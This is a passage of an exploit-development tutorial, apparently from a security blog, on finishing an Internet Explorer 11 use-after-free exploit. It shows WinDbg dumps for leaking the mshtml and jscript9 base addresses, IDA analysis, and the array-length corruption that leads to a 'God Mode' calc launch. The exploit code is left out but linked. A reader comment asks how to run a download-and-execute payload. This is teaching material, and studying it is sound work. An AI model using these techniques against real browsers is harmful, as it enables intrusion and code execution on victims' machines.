Completing the exploit

As we saw, the POC uses window.onload because it requires that the javascript code is executed after the page has fully loaded. We must do the same in our exploit. We also need to make the required changes to the rest of the page. Here’s the resulting code:

I snipped runcalc. You can download the full code from here: code6.

When we try it, a familiar dialog box pops up:

pic_69
This means that something changed and the God Mode doesn’t work anymore.

Let’s start by adding two alerts to check that the variables jscript9 and mshtml contain the correct base addresses:

When we reload the page in IE we discover that the two variables contain incorrect values. Let’s modify the code again to find out what’s wrong:

When we analyze the object at the address addr, we realize that something is missing:

0:021> dd 3c600e0
03c600e0  6cd75480 03c54120 00000000 03c6cfa0
03c600f0  029648a0 03c6af44 03c6af74 00000000
03c60100  6cd7898c 00000001 00000009 00000000
03c60110  0654d770 00000000 00000000 00000000
03c60120  6cd75480 03c54120 00000000 03c6c000
03c60130  029648a0 03c6a3d4 03c6af44 00000000
03c60140  6cd75480 03c54120 00000000 03c6cfb0
03c60150  029648a0 029648c0 03c60194 00000000
0:021> ln 6cd75480
(6cd75480)   jscript9!HostDispatch::`vftable'   |  (6cd755d8)   jscript9!Js::ConcatStringN<4>::`vftable'
Exact matches:
    jscript9!HostDispatch::`vftable' = <no type information>
0:021> ln 029648a0
0:021> dds 3c600e0
03c600e0  6cd75480 jscript9!HostDispatch::`vftable'
03c600e4  03c54120
03c600e8  00000000
03c600ec  03c6cfa0
03c600f0  029648a0
03c600f4  03c6af44
03c600f8  03c6af74
03c600fc  00000000
03c60100  6cd7898c jscript9!HostVariant::`vftable'
03c60104  00000001
03c60108  00000009
03c6010c  00000000
03c60110  0654d770
03c60114  00000000
03c60118  00000000
03c6011c  00000000
03c60120  6cd75480 jscript9!HostDispatch::`vftable'
03c60124  03c54120
03c60128  00000000
03c6012c  03c6c000
03c60130  029648a0
03c60134  03c6a3d4
03c60138  03c6af44
03c6013c  00000000
03c60140  6cd75480 jscript9!HostDispatch::`vftable'
03c60144  03c54120
03c60148  00000000
03c6014c  03c6cfb0
03c60150  029648a0
03c60154  029648c0
03c60158  03c60194
03c6015c  00000000

How can we determine the base address of mshtml.dll without a pointer to a vftable in it?

We need to find another way. For now, we learned that the div element is represented by an object of type jscript9!HostDispatch. But we’ve already seen this object in action. Do you remember the stack trace of the crash? Here it is again:

0:007> k 10
ChildEBP RetAddr  
0a53b790 0a7afc25 MSHTML!CMarkup::IsConnectedToPrimaryMarkup
0a53b7d4 0aa05cc6 MSHTML!CMarkup::OnCssChange+0x7e
0a53b7dc 0ada146f MSHTML!CElement::OnCssChange+0x28
0a53b7f4 0a84de84 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x4a64
0a53b860 0a84dedd MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1d3
0a53b880 0a929253 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20
0a53b8a8 0ab8b117 MSHTML!CBase::put_BoolHelper+0x2a
0a53b8c0 0ab8aade MSHTML!CBase::put_Bool+0x24
0a53b8e8 0aa3136b MSHTML!GS_VARIANTBOOL+0xaa
0a53b97c 0aa32ca7 MSHTML!CBase::ContextInvokeEx+0x2b6
0a53b9a4 0a93b0cc MSHTML!CElement::ContextInvokeEx+0x4c
0a53b9d0 0a8f8f49 MSHTML!CLinkElement::VersionedInvokeEx+0x49
0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae
0a53bae0 6f06ab30 jscript9!HostDispatch::PutValueByDispId+0x94
0a53baf8 6f06aafc jscript9!HostDispatch::PutValue+0x2a

In particular, look at these two lines:

0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae

It’s clear that jscript9!HostDispatch::CallInvokeEx knows the address of the function MSHTML!CBase::PrivateInvokeEx and if we’re lucky, this address is reachable from the object HostDispatch (remember that we know the address of an object of this very type).

Let’s examine jscript9!HostDispatch::CallInvokeEx in IDA. Load jscript9 in IDA and then press Ctrl+P to locate CallInvokeEx. Now you can click on any instruction to see its offset relative to the current function. We want to locate the instruction at offset 0xae of CallInvokeEx:

pic_70
It looks like the address of MSHTML!CBase::PrivateInvokeEx is at the address eax+20h.

As we did with the UAF bugs, we’ll try to determine where the address of MSHTML!CBase::PrivateInvokeEx comes from:

pic_71
Now we’ll need to examine the function GetHostVariantWrapper:

pic_72
By merging the schemata, we get the following:

X = [this+0ch]
var_14 = [X+8]
X = var_14
obj_ptr = [X+10h]

More simply:

X = [this+0ch]
X = [X+8]
obj_ptr = [X+10h]

Let’s see if we’re right. Let’s reload the html page in IE and examine the div element again:

0:022> dd 5360f20
05360f20  6cc55480 05354280 00000000 0536cfb0
05360f30  0419adb0 0536af74 0536afa4 00000000
05360f40  6cc5898c 00000001 00000009 00000000
05360f50  00525428 00000000 00000000 00000000
05360f60  05360f81 00000000 00000000 00000000
05360f70  00000000 00000000 00000000 00000000
05360f80  05360fa1 00000000 00000000 00000000
05360f90  00000000 00000000 00000000 00000000
0:022> ln 6cc55480
(6cc55480)   jscript9!HostDispatch::`vftable'   |  (6cc555d8)   jscript9!Js::ConcatStringN<4>::`vftable'
Exact matches:
    jscript9!HostDispatch::`vftable' = <no type information>
0:022> dd poi(5360f20+c)
0536cfb0  6cc52d44 00000001 05360f00 00000000
0536cfc0  6cc52d44 00000001 05360f40 00000000
0536cfd0  0536cfe1 00000000 00000000 00000000
0536cfe0  0536cff1 00000000 00000000 00000000
0536cff0  0536cf71 00000000 00000000 00000000
0536d000  6cc54534 0535d8c0 00000000 00000005
0536d010  00004001 047f0010 053578c0 00000000
0536d020  00000001 05338760 00000000 00000000
0:022> ln 6cc52d44
(6cc52d44)   jscript9!DummyVTableObject::`vftable'   |  (6cc52d50)   jscript9!Projection::ArrayObjectInstance::`vftable'
Exact matches:
    jscript9!Projection::UnknownEventHandlingThis::`vftable' = <no type information>
    jscript9!Js::FunctionInfo::`vftable' = <no type information>
    jscript9!Projection::UnknownThis::`vftable' = <no type information>
    jscript9!Projection::NamespaceThis::`vftable' = <no type information>
    jscript9!Js::WinRTFunctionInfo::`vftable' = <no type information>
    jscript9!RefCountedHostVariant::`vftable' = <no type information>
    jscript9!DummyVTableObject::`vftable' = <no type information>
    jscript9!Js::FunctionProxy::`vftable' = <no type information>
0:022> dd poi(poi(5360f20+c)+8)
05360f00  6cc5898c 00000005 00000009 00000000
05360f10  00565d88 00000000 00000000 00000000
05360f20  6cc55480 05354280 00000000 0536cfb0
05360f30  0419adb0 0536af74 0536afa4 00000000
05360f40  6cc5898c 00000001 00000009 00000000
05360f50  00525428 00000000 00000000 00000000
05360f60  05360f81 00000000 00000000 00000000
05360f70  00000000 00000000 00000000 00000000
0:022> ln 6cc5898c
(6cc5898c)   jscript9!HostVariant::`vftable'   |  (6cc589b5)   jscript9!Js::CustomExternalObject::SetProperty
Exact matches:
    jscript9!HostVariant::`vftable' = <no type information>
0:022> dd poi(poi(poi(5360f20+c)+8)+10)
00565d88  6f03eb04 00000001 00000000 00000008
00565d98  00000000 05360f08 00000000 00000000
00565da8  00000022 02000400 00000000 00000000
00565db8  07d47798 07d47798 5c0cccc8 88000000
00565dc8  003a0043 0057005c 006e0069 006f0064
00565dd8  00730077 0073005c 00730079 00650074
00565de8  0033006d 005c0032 00580053 002e0053
00565df8  004c0044 0000004c 5c0cccb0 88000000
0:022> ln 6f03eb04
(6f03eb04)   MSHTML!CDivElement::`vftable'   |  (6ede7f24)   MSHTML!s_propdescCDivElementnofocusrect
Exact matches:
    MSHTML!CDivElement::`vftable' = <no type information>

Bingo! Our problems are solved! Now let’s compute the RVA of the vftable just found:

0:005> ? 6f03eb04-mshtml
Evaluate expression: 3861252 = 003aeb04

We also need to compute the RVA for jscript9!HostDispatch::`vftable’:

0:005> ? 6cc55480-jscript9
Evaluate expression: 21632 = 00005480

Now change the code as follows:

Try it out: is should work just fine!

Now remove the two alerts and the return. Mmm… the calculator doesn’t appear, so there must be something wrong (again!). To see what’s wrong, we can rely on the Developer Tools. It seems that when the Developer Tools are enabled our God Mode doesn’t work. Just authorize the execution of the ActiveXObject and you should see the following error:

pic_73
Luckily, the problem is quite simple: atob isn’t available in IE 9. I found a polyfill for atob here:

https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills#base64-windowatob-and-windowbtoa

Here’s the modified code:

As before, I snipped runcalc. You can download the full code from here: code7.

Now the calculator pops up and everything seems to work fine until we get a crash. The crash doesn’t always happen but there’s definitely something wrong with the code. A crash is probably caused by an incorrect write. Since the God Mode works correctly, the problem must be with the two writes right before the call to bStream.SaveToFile.

Let’s comment out the two writes and try again. Perfect! Now there are no more crashes! But we can’t just leave out the two writes. If we use SimpleServer, it doesn’t work of course because the two writes are needed. Maybe surprisingly, if we add back the two writes, everything works just fine.

If we investigate things a bit, we discover that when the html page is loaded in IE directly from the hard disk, string_addr points to a null dword. On the other hand, when the page is loaded by going to 127.0.0.1 and is served by SimpleServer, string_addr points to the Unicode string http://127.0.0.1/. For this reason, we should change the code as follows:

Completing the exploit (2)

It’s high time we completed this exploit! Here’s the full code:

Once again, I snipped runcalc. You can download the full code from here: code8.

This code works fine but IE may crash from time to time. This isn’t a major problem because when the user closes the crash dialog box the page is reloaded and the exploit is run again.

The new code has some subtleties so let’s discuss the important points. Let’s start with trigger():

The function getPattern takes an array of the form

and the size in bytes of the pattern. The pattern returned is a string of the specified size which value_1, value_2, etc… at the specified offsets.

I hope the comments are clear enough. For instance, let’s consider this line:

This means that

X = magic_addr + 0x20 - 0xc

which is defined in a way that X+0xc points to b[0], where b[0] is the first element of the Array at magic_addr (0xc000000 in our code).

To understand this better, let’s consider the full schema:

Let’s consider this part of the schema:

As we’ve seen,

means that

X = [ptr+0A4h] = magic_addr + 0x20 - 0xc

so that X+0cx points to b[0].

Then we have

which means that

Y = [X+0ch] = magic_addr + 0x1b - 0x878

The schema tells us that [Y+878h] must be the value to increment. Indeed, Y+0x878 is magic_addr + 0x1b which points to the highest byte of the length of the Array at magic_addr (0xc000000 in our code). Note that we increment the dword at magic_addr + 0x1b which has the effect of incrementing the byte at the same address.

The schema also dictates that [Y+208h] be 0. This is accomplished by the following lines:

Here there are two important points:

  1. Y = b[0] = magic_addr + 0x1b – 0x878 so it’s not a multiple of 4. Because of this, Y+208h isn’t a multiple of 4 either. To modify the misaligned dword [Y+208h], we need to modify the dwords [Y+206h] and [Y+20ah] which coincide with the elements b[idx] and b[idx+1]. That’s why we use Math.floor.
  2. The computed value b[0] + 0x208 – (magic_addr + 0x20) is negative. Because we’ve chosen Y so that Y+878h points to the header of the Array at magic_addr, Y+9b0h and Y+0a24h (see the schema) point to the same Array, but Y+208h points to the previous Array. Every Array will have the same content so, since adjacent Arrays are 0x10000 bytes apart, by writing the value into the memory at address Y+208h+10000h (i.e. in the current Array), we’ll also end up writing that value into the memory at address Y+208h.

To conclude our discussion, note that the function trigger is called only once. A single increment is more than enough because we just need to write a few bytes beyond the end of the Array at magic_addr.

Prev Part

The following two tabs change content below.

Massimiliano Tomassoli

Computer scientist, software developer, reverse engineer and student of computer security (+ piano player & music composer)

Latest posts by Massimiliano Tomassoli (see all)

Leave a Reply

2 Comments on "IE11: Part 2"

Notify of

Sort by:   newest | oldest | most voted
Guest
Awdr
1 year 6 months ago

Hello! How would I change the exploit to run my own payload instead of running the calculator application by implementing a download and execute function! Thanks! – Awdr

wpDiscuz